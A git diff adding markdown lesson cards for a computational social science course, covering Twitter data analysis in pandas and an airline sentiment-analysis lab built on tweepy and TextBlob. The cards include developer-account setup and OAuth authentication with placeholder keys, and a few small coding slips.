+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/7.md
@@ -0,0 +1,47 @@
+# Expressing Data on the Dataframe
+
+Now that you finished creating the functions, we are going to pass our tweets into a dataframe for easier processing.
+
+> Remember, DataFrames in essence are labelled two-dimensional arrays. Essentially DataFrames act as databases in Python, with defined column names and namable rows to store data.
+
+We are going to continue coding under our `if __name__ == 'main'` statement.
+
+We are going to convert the tweets in the JSON file to Pandas Dataframe so we can easily see it in that application. To do so, insert this code into your Python file.
+
+```python
+ #Convert the tweet data, in JSON to a dataframe
+ tweets = pd.DataFrame()
+```
+
+> The *‘Username*’ column of the dataframe depicts the user who posted the tweet, and all the other columns are pretty much self-explanatory.
+
+The following line uses the `map` function and goes through all of our tweet data and adds to our data frame column "text". We use the `list` function in order to convert our `map` object(which contain all our filtered content) to a list. Remember lambda functions from the first activity? We use them again, with an added if-else statement to return the normal text of the tweet (`tweet['text']`) if it is not extended.
+
+```python
+ tweets['text'] = list(map(lambda tweet: tweet['text'] if 'extended_tweet' not in tweet else tweet['extended_tweet']['full_text'], tweets_data))
+```
+
+The same can be said for the following lines (note some just access nested data of a specific tweet by using `tweet['data_name']['further_specification_for_data']`):
+
+```python
+ tweets['Username'] = list(map(lambda tweet: tweet['user']['screen_name'], tweets_data))
+ tweets['Timestamp'] = list(map(lambda tweet: tweet['created_at'], tweets_data))
+ tweets['length'] = list(map(lambda tweet: len(tweet['text']) if 'extended_tweet' not in tweet else len(tweet['extended_tweet']['full_text']) , tweets_data))
+ tweets['location'] = list(map(lambda tweet: tweet['user']['location'], tweets_data))
+```
+
+Finally, the following lines call on previously defined functions like `is_RT` and make use of filtering tweets. We call each function on each respective tweet and get a filtered set that we make our Data Frame columns out of.
+
+```python
+ tweets['device'] = list(map(tweet_device, tweets_data))
+ tweets['RT'] = list(map(is_RT, tweets_data))
+ tweets['Reply'] = list(map(is_Reply_to, tweets_data))
+```
+
+To look at the head of our DataFrame, it should look something like this when we call **tweets.head()** in our Python file.
+
+
+
+Notice that retweets actually contain "RT" in the text, and that mentions have the character "@" within the tweet. This will be important later!
+
+With that, our DataFrame is built and now we can explore the data.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/8.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/8.md
new file mode 100644
index 00000000..4a150dd3
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/8.md
@@ -0,0 +1,16 @@
+# Data Analysis: Retweets
+
+Now that our data is all organized onto the Dataframe, we will now analyze it.
+
+First, let's see how many ***tweets* are *retweets***. This code will give you the percentage of retweets within your set of tweets. Think of the `{}` as math expressions (i.e whatever is inside you imagine we evaluate them like regular python expressions) that are embedded in our print statements. So `{round(len(RT_tweets)/len(tweets)*100)}%`, rounds the percent ratio of retweets over the total number of tweets in our dataset.
+
+```python
+ #See the percentage of tweets from the initial set that are #retweets:
+ RT_tweets = tweets[tweets['RT'] == True]
+ print("The percentage of retweets is {round(len(RT_tweets)/len(tweets)*100)}% of all the tweets")
+```
+
+You will notice that you will get a somewhat high percentage in retweets. This indicates that most users do not produce their own content but instead forward content from other users.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/9.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/9.md
new file mode 100644
index 00000000..cb47c48e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/9.md
@@ -0,0 +1,11 @@
+# Data Analysis: Replies
+
+Next, we will analyze how many *tweets* are downloaded from the Streaming API that are **replies to *tweets*** of another user.
+
+```python
+ #See the percentage of tweets from the initial set that are replies #to tweets of another user:
+ reply_tweets = tweets[tweets['Reply'].apply(type) == str]
+ print(f"The percentage of retweets is {round(len(reply_tweets)/len(tweets)*100)}% of all the tweets")
+```
+
+You will notice that the percentage is low since a small percentage of users reply to other users' tweets.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/data-analysis-visual.png b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/data-analysis-visual.png
new file mode 100644
index 00000000..9f4570d5
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Activity2_Visualizing Twitter Trends/data-analysis-visual.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/1.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/1.md
new file mode 100644
index 00000000..2a960489
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/1.md
@@ -0,0 +1,26 @@
+
+
+For this lab, we will be conducting sentiment analysis on specific US airlines. **Sentiment Analysis** is the analysis of language to identify emotions (positive, negative, etc) in text(in this case tweets).
+
+To perform sentiment analysis we'll be gathering tweets referencing airlines using Twitter's API as well as the `tweepy` and `TextBlob` packages to determine whether generated tweets have a positive, neutral or negative attitude towards the airline in question. Then we'll graph that information, both in the form of a bar and line graph.
+
+Twitter presence is an important point of emphasis for companies. Twitter users can quickly form a positive or negative opinion of company, depending on what users are tweeting pertaining to companies. Companies perform sentiment analysis frequently to gauge what Twitter's opinion of their company is, and what steps they can take to ensure a positive Twitter presence for their company. We'll conduct an elementary sentiment analysis that companies may conduct for this lab, this is an example of what you should be making by the end:
+
+
+
+To get started, you'll need to sign up for a Twitter API developer account.
+
+
+
+After you've signed up for the developer account you need to make a new Twitter app and get four credentials for future use:
+
+* consumer key
+* consumer token
+* access token
+* access secret token
+
+Paste those credentials into the appropriate area in your starter code.
+
+
+
+P.S Please make sure you have all the modules/libraries in the starter code. If not please download them by `pip install `
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/11.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/11.md
new file mode 100644
index 00000000..ce744ff4
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/11.md
@@ -0,0 +1,6 @@
+
+
+The following is the signup page for getting a Twitter developer account. Try to navigate to this page by yourself, and follow the steps for an *academic* account.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/111.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/111.md
new file mode 100644
index 00000000..72f9811e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/111.md
@@ -0,0 +1,6 @@
+
+
+If you couldn't find it, the Twitter Developer application is found [here](https://developer.twitter.com/en/apps). Using the Twitter API requires an account, so you'll need to follow the steps, starting with clicking “Apply”.
+
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/112.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/112.md
new file mode 100644
index 00000000..e8e76e21
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/112.md
@@ -0,0 +1,14 @@
+
+
+The Twitter developer application process starts at this page, please complete the form. Once you click "student", proceed to the rest of the Application.
+
+
+
+When you're prompted to explain your use, you can explain that you'll be using Twitter to perform sentiment analysis for learning purposes.
+
+
+
+You will also be analyzing Twitter data, you can say this is also part of the exercise.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/113.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/113.md
new file mode 100644
index 00000000..af719f23
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/113.md
@@ -0,0 +1,8 @@
+
+
+After finishing your application, confirm your email and your account should be processed and reviewed swiftly. Finish up by checking your email!
+
+After finishing your application, confirm your email and your account should be processed and reviewed swiftly.
+
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/12.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/12.md
new file mode 100644
index 00000000..11b31eef
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/12.md
@@ -0,0 +1,12 @@
+
+
+When you have finished configuring your account, head back to Twitter Developer [here](https://developer.twitter.com/en/apps), your app menu should look like this:
+
+Click on “Create an app”. Fill out app details; for the website URL field, you can input any website, we used https://bitproject.org. Leave the OAuth Callback URL, TOS and Privacy Policy fields blank.
+
+After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key. Copy these keys for later use. (these keys in the picture have been erased)
+
+
+
+There is also an area to generate an access token and access secret token, please generate them and keep track of those as well.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/121.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/121.md
new file mode 100644
index 00000000..3d3abcc6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/121.md
@@ -0,0 +1,6 @@
+
+
+Head back to Twitter Developer website [here](https://developer.twitter.com/en/apps), and your app menu should look like this:
+
+Click on “Create an app”.
+
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/5.mdx b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/122.md
similarity index 100%
rename from Module_Twitter_API/activities/Act1_Intro to Twitter API/5.mdx
rename to Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/122.md
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/123.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/123.md
new file mode 100644
index 00000000..4e4adbf5
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/123.md
@@ -0,0 +1,21 @@
+
+
+After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key.
+
+
+
+
+
+Below the consumer API keys, there is also an area to generate an access token and access secret token, please generate them and keep track of those as well.
+
+
+
+Copy these keys into your starter code where the example is:
+
+```python
+consumer_key = "Your key goes here!"
+consumer_secret = "Your key goes here!"
+access_token = "Your key goes here!"
+access_token_secret = "Your key goes here!
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/2.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/2.md
new file mode 100644
index 00000000..516092fe
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/2.md
@@ -0,0 +1,10 @@
+
+
+The goal of this card is to set up authentication so your application can use start using the Twitter API. You should:
+
+* Configure OAuth authentication with your consumer key and secret key
+* Set your access tokens and create a API object in `tweepy` to fetch tweets.
+
+You'll be using the `us_search` dictionary provided in the starter code for the rest of this lab.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/21.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/21.md
new file mode 100644
index 00000000..a29a2b09
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/21.md
@@ -0,0 +1,9 @@
+
+
+Paste your keys and tokens in the allocated space. You'll want to authenticate in three steps:
+
+1. Configure OAuth authentication with your consumer key and secret with the `OAuthHandler(consumer_key, consumer_secret)` call. This should create an `auth` object
+2. Set your access tokens with `auth.set_access_token()`
+3. Create a API object in `tweepy` to fetch tweets: `tweepy.API(auth, wait_on_rate_limit=True)`
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/211.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/211.md
new file mode 100644
index 00000000..8cac3743
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/211.md
@@ -0,0 +1,22 @@
+
+
+We're now going to authenticate using our app credentials.
+
+```python
+auth = OAuthHandler(consumer_key, consumer_secret)
+```
+
+The above line generates an authentication object using our consumer key and secret.
+
+```python
+auth.set_access_token(access_token, access_token_secret)
+```
+
+This line enables access to our authentication object with our access token and access secret token.
+
+
+
+Setting the above tokens is telling the Twitter API that you are the one using the application! Great job!
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/212.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/212.md
new file mode 100644
index 00000000..b2fc0a15
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/212.md
@@ -0,0 +1,15 @@
+
+
+The `tweepy` package allows us to very easily use Twitter's API within a Python environment. The line below will give us an API object that will allow us to fetch tweets.
+
+```python
+api = tw.API(auth, wait_on_rate_limit=True)
+```
+
+We're setting up our `api` object to use the authentication object `auth` we set up just before this.
+
+
+
+The Twitter API has a limit of how many times you can request for an hour. The `wait_on_rate_limit` parameter is telling our Twitter request object to automatically wait for the rate limit to refresh for the hour.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/3.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/3.md
new file mode 100644
index 00000000..40a71e82
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/3.md
@@ -0,0 +1,26 @@
+
+
+Now that our application is set up, we're going to produce a dataframe that stores two items: the data, and the sentiment of each tweet found.
+
+
+
+Complete the function `produce_dataframe(search_dict, num_tweets)`, with the following descriptions of the parameters:
+
+* `search_dict` - a dictionary that has a {key, value} pair in the items category. The `key` is the date you will be searching for, and the `value` is the name of the airline you will search for.
+* `num_tweets` - the number of tweets in the search dictionary
+
+
+
+The function `produce_dataframe(search_dict, num_tweets)` should complete the following checklist:
+
+* Return a dataframe using the `pandas` library, the column names should be 'date', and 'sentiment'. Set rownames to 'positive', 'neutral', and 'negative.'
+* Fill the returning dataframe with the sentiment value of each tweet from TextBlob.
+
+
+
+You are not allowed to change any function definition or code that was given to you. The end result should look like this:
+
+
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/31.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/31.md
new file mode 100644
index 00000000..393f70fa
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/31.md
@@ -0,0 +1,12 @@
+
+
+
+
+In order to add items to the dataframe, we first need to create dataframe. We can use the `pandas` library to create a dataframe.
+
+The function we want to use is `pandas.Dataframe(arguments)`. Use the argument:
+
+* `index` to set the rownames to 'positive', 'neutral', and 'negative.'
+* `columns` to set the column names to `date` and `sentiment`
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/311.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/311.md
new file mode 100644
index 00000000..5932b831
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/311.md
@@ -0,0 +1,25 @@
+
+
+
+
+We can create a `pandas` dataframe with the function `pd.DataFrame()`. If we want a dataframe with the following structure (it currently has :
+
+| | Airline_0 | Airline_1 | ... |
+| -------- | --------- | --------- | ---- |
+| positive | ... | ... | ... |
+| neutral | ... | ... | ... |
+| negative | ... | ... | ... |
+
+We need the arguments:
+
+* `data` - this argument is defaulted to None, we define it to an explicit `[]`
+* `Index` - We'll set this to a list of []'positive', 'neutral', 'negative']
+
+Our final code looks like:
+
+```python
+df = pd.DataFrame([], index=['positive', 'neutral', 'negative'])
+```
+
+Now we need to get the tweets from the cursor object
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/312.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/312.md
new file mode 100644
index 00000000..f32b7d59
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/312.md
@@ -0,0 +1,17 @@
+
+
+The `Cursor` in `tweepy` will allow us to find `num_tweets` tweets given a search query `val`.
+
+```python
+# Collect tweets
+tweets = tw.Cursor(api.search, q=val, lang="en", since=date_since).items(num_tweets)
+```
+
+Because we are given a dictionary with search queries, we want to iterate through this dictionary and call the above line for each search query (each query corresponds to one airline):
+
+```python
+for key, val in search_dict.items():
+ # Collect tweets
+ tweets = tw.Cursor(api.search, q=val, lang="en", since=date_since).items(num_tweets)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/32.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/32.md
new file mode 100644
index 00000000..c25d631f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/32.md
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+Now that we've created our Dataframe, we need to fill our dataframe. Recall the parameter `search_dict` is a dictionary that has a {key, value} pair in the items category. The `key` is the date you will be searching for, and the `value` is the name of the airline you will search for.
+
+
+
+After producing the dataframe you should iterate through the `search_dict` and call the `tweepy.Cursor()` object to get the tweets with the search query.
+
+
+
+![image]()
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/321.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/321.md
new file mode 100644
index 00000000..7c1509eb
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/321.md
@@ -0,0 +1,30 @@
+
+
+
+
+For each tweet object in the cursor, we can use the `.text` attribute to get the text of the tweet itself. Then for each text, we make a `TextBlob` object out of that text.
+
+From there, simply check the values of the `.sentiment.polarity` attribute. Positive polarity indicates positive sentiment, zero polarity indicates neutral sentiment and neutral polarity indicates negative sentiment.
+
+We keep track of positive, neutral and negative tweets with counter variables. At the end, we add the acquired sentiment data to the dataframe.
+
+Return `df` at the end.
+
+```python
+for key, val in search_dict.items():
+ # ... Make sure how have change date_since to something like "2020-01-01"
+
+ positive = 0
+ neutral = 0
+ negative = 0
+ for t in tweets:
+ analysis = TextBlob(t.text)
+ if analysis.sentiment.polarity > 0:
+ positive += 1
+ elif analysis.sentiment.polarity == 0:
+ neutral += 1
+ else:
+ negative += 1
+ df[key] = [positive, neutral, negative]
+return df
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/33.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/33.md
new file mode 100644
index 00000000..69b0311c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/33.md
@@ -0,0 +1,13 @@
+
+
+Now that we've got the tweets, we need to iterate through the tweets to find the sentiments.
+
+
+
+We also want to keep track of how many of each sentiments you have. Make sure to initialize the number of sentiments of each 'positive', 'neutral' or 'negative' first.
+
+
+
+You need to use the `TextBlob` module to get the `sentiment.polarity` attribute. For each item in the Tweets we have, set the item in the dataframe date to the sentiment.
+
+![image]()
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/4.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/4.md
new file mode 100644
index 00000000..e616ea28
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/4.md
@@ -0,0 +1,14 @@
+
+
+We currently have a dataframe containing the dates and sentiments for the airlines we searched for. We now want to calculate the total tweets and the percentages of positive/neutral/negative tweets for a specific airline
+
+
+
+The goal for this card is to create a *new* dataframe that's columns are the dates of the tweets, and the rows are labeled `positive`, `neutral`, `negative`, and `total`. The rows `positive`, `neutral`, and `negative` will be the percentage of tweets across the day, and `total` will be an integer, the number of tweetsfor that day.
+
+
+
+To do this, choose just *one* airline whose data you will perform analysis on, and create a dataframe that looks like the one below:
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/41.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/41.md
new file mode 100644
index 00000000..b60fdcc0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/41.md
@@ -0,0 +1,11 @@
+
+
+Our first step is to create a dataframe with the raw dates and sentiments for each tweets. You can follow this process:
+
+1. Pick an airline from the `search_dict` dictionary (we chose United Airlines!) and get the related tweets using the Twitter API. You can search for the tweet since the variable `date_since`, which has an already calculated value of 3 days ago.
+2. Create the empty Time Series Dataframe. Name the columns `date`, and `sentiment`.
+3. Fill the time series dataframe by analyzing each tweet. Like before, tweets should be categorized into `postive`, `neutral`, or `negative`.
+
+Once we've created the time series dataframe, we can create percentages of tweets from that!
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/411.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/411.md
new file mode 100644
index 00000000..5c30feda
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/411.md
@@ -0,0 +1,18 @@
+
+
+We can search for the tweets related to an airline the same way we did before, but no we're going to choose one airline to search for instead of all of the airlines in the search dictionary. We've picked United Airlines in our example, but you can choose from any of the other ones in the search dictionary.
+
+Create a new function with the declartion `def findDays(num_tweets)`. And start writing your code into it.
+
+The first thing we should do is create our twitter cursor object like we did before. The statement below is creating the cursor object that will stop at 1000 tweets and get tweets since three days ago. Please put this code block below/outside your function for now.
+
+```python
+tweets = tw.Cursor(api.search,
+ q="united airlines",
+ lang="en",
+ since=date_since).items(1000)
+```
+
+Now that we have `tweets` , our cursor object, we need to actually create a loop for the tweepy object to collect the tweets for us. The Tweepy cursor object in the background will get 1000 tweets using your API keys.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/412.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/412.md
new file mode 100644
index 00000000..2653f25e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/412.md
@@ -0,0 +1,17 @@
+
+
+Since we've got our Tweepy cursor object, we should create a dataframe to read the tweets into. Below is an empty dataframe with the columns titled `date` and `sentiment`.
+
+```python
+time_series_df = pd.DataFrame(pd.np.empty((0, 2)))
+time_series_df.columns = ['date', 'sentiment']
+```
+
+We'll also need two lists, one for the date, and one for the corresonding sentiment. Let's call these `text_create` (for dates) and `test_sentiment` (for sentiments).
+
+```python
+text_create = []
+text_sentiment = []
+```
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/413.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/413.md
new file mode 100644
index 00000000..69d89a98
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/413.md
@@ -0,0 +1,45 @@
+
+
+Now that everything is set up, let's get our tweets and their corresponding sentiments. We should loop through all of the tweets the cursor object will get.
+
+```python
+for t in tweets:
+ # analyze our tweets here!
+```
+
+First, let's get the date the tweet was created:
+
+```python
+for t in tweets:
+ text_create.append(t.created_at)
+```
+
+Above we're adding to the `text_create` list the time the date was created at.
+
+Next we should get the sentiment of the tweet. We can access this using `t.text` and analyze it using `Textblob()`. The *polarity* of the analysis is what we want to access, and this can be positive if >0, neutral if 0, and negative if <0.
+
+```python
+for t in tweets:
+ text_create.append(t.created_at)
+ analysis = TextBlob(t.text)
+
+ if analysis.sentiment.polarity > 0:
+ text_sentiment.append('positive')
+ elif analysis.sentiment.polarity == 0:
+ text_sentiment.append('neutral')
+ else:
+ text_sentiment.append('negative')
+ # Also don't forget to add the dates.
+ dates.add(t.created_at.strftime("%m/%d/%Y"))
+```
+
+Finally, our lists are full of all the tweets and their sentiments! Let's add them into our dataframe.
+
+```python
+time_series_df['date'] = text_create
+time_series_df['sentiment'] = text_sentiment
+```
+
+Great, now all you need is to conver this raw dataframe into a different dataframe with percentages of each kind of sentiment for each day!
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/42.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/42.md
new file mode 100644
index 00000000..82897da8
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/42.md
@@ -0,0 +1,9 @@
+
+
+Now that we have our time series dataframe with each tweet and it's corresponding sentiment, we can create a different dataframe with the percentages of each tweet per day. Try this process:
+
+1. Create the dataframe. The dataframe columns should be each day since `date_since`, and the row names should be `positive`, `neutral`, `negative`, and `total`.
+2. Calculate the total number of tweets for each day. The numbers will be in the row `total`.
+3. Calculate the percentage of `positive`, `neutral`, and `negative` for each day.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/421.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/421.md
new file mode 100644
index 00000000..b35d0d19
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/421.md
@@ -0,0 +1,38 @@
+
+
+Now that we've created the time series dataframe, we can create a dataframe that counts the percentages of `positive`, `neutral`, and `negative` tweets. The row at the bottom will be titled `total`, and will be the total amount of tweets for that day. Now, we create the empty dataframe called `df`, created with `pd.Dataframe()`
+
+But first we need to create a dictionary for the date for our dataframe:
+
+```
+ date_dict = {}
+ # constructing dictionary for DataFrame
+ for date in dates:
+ date_dict[date] = [0.0, 0.0, 0.0, 0]
+ print(date_dict)
+```
+
+Now, we create the empty dataframe called `df`, created with `pd.Dataframe()`
+
+```python
+df = pd.DataFrame()
+```
+
+Then, we'll fill in the dataframe with zeroes and and create the row/column names:
+
+```python
+df = pd.DataFrame(date_dict, index=['positive', 'neutral', 'negative', 'total'])
+```
+
+If you printed the dataframe, it would look like this:
+
+| | date1 | date2 | date3 | date4 |
+| -------- | ----- | ----- | ----- | ----- |
+| positive | 0.0 | 0.0 | 0.0 | 0.0 |
+| neutral | 0.0 | 0.0 | 0.0 | 0.0 |
+| negative | 0.0 | 0.0 | 0.0 | 0.0 |
+| total | 0.0 | 0.0 | 0.0 | 0.0 |
+
+Great job! Next we'll fill up the data frame!
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/422.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/422.md
new file mode 100644
